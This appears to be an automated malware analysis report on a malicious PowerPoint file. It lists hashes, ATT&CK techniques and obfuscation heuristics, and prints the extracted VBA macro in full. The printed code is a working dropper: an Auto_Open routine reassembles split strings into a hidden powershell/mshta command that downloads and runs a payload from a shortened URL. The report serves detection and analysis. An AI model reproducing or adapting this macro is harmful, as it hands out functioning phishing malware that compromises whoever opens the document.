Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2534d08e389578f0…

MALICIOUS

Office (OOXML)

10.4 KB First seen: 2021-08-25
MD5: 40d772616c8da3ad402ed9566923d160 SHA-1: a13aff3e714c477f5ff9101c639dfad52b9acfed SHA-256: 2534d08e389578f03816247fdc2d0363cea45981dca6956a73543639d38877a0
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an Auto_Open subroutine that calls a function to execute a PowerShell command. The PowerShell command is constructed by concatenating strings to form 'powershell.exe -c "cmd msgsbox/rm shta http://www.bitly.com/etyiquwgdbhmjbdnsadtkasnvbdh"'. This indicates the macro's intent is to download and execute a second-stage payload from the provided URL. The critical heuristic firing on split keyword obfuscation further supports this.

Heuristics 3

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()

Related samples 7

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2402 bytes
SHA-256: 16883520512d1f4391c16657d5ef602ff3e828c4db997f9a8843cad1e1748e31
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Class12"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Function MainCallex()

 Dim strFile As String
    Dim clock As String
    Dim coooo As Long
u4 = "" + "p" + "o" + "w" + "e" + "r" + "s" + "h" + "e" + "l" + "l" + "." + "e" + "x" + "e"
u5 = "" + "-c ""c" + "m" + "d m" + "s" + "gbox/rm" + "s" + "h" + "t" + "a "
u6 = "" + "h" + "t" + "t" + "p" + "s" + ":" + "/" + "/" + "w" + "ww" + "." + "bitl"
u7 = "" + "y.com/"
u8 = "" + """etyiquwgdbhmjbdnsadtkasnvbdh"
ii = u5 + u6 + u7 + u8
clock = "OPEN"

Dim bhosa As New Class3

bhosa. _
Callex u4, ii



End Function

Attribute VB_Name = "Module111"

Sub Auto_Open()
   
Dim obj As New Class12

obj.MainCallex

End Sub

Attribute VB_Name = "Class3"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

#If VBA7 Then
  #If Win64 Then ' Declare using PtrSafe for Office 64 bit
    

Private Declare PtrSafe Function Dainava Lib "shell32.dll" Alias "ShellExecuteA" ( _
        ByVal hwnd As LongPtr, ByVal lpOperation As String, ByVal lpFile As String, _
        ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As LongPtr


#Else ' Declare for Office 32 bit
  
Private Declare Function Dainava Lib "shell32.dll" Alias "ShellExecuteA" ( _
        ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, _
        ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
    #End If

#Else ' Declare for Office 32 bit
  
Private Declare Function Dainava Lib "shell32.dll" Alias "ShellExecuteA" ( _
        ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, _
        ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
      #End If


Public Sub Callex(ByVal mora As String, ByVal nora As String)
 
Dim nona As Integer




nona = Dainava(0&, "", mora, nora, "", 0)

End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 23040 bytes
SHA-256: 4a444820461c49e44f841df4aaf210e668d1a2a125f11fbb45de6f36c039d395

Open this report in the interactive analyzer, or submit your own file for analysis.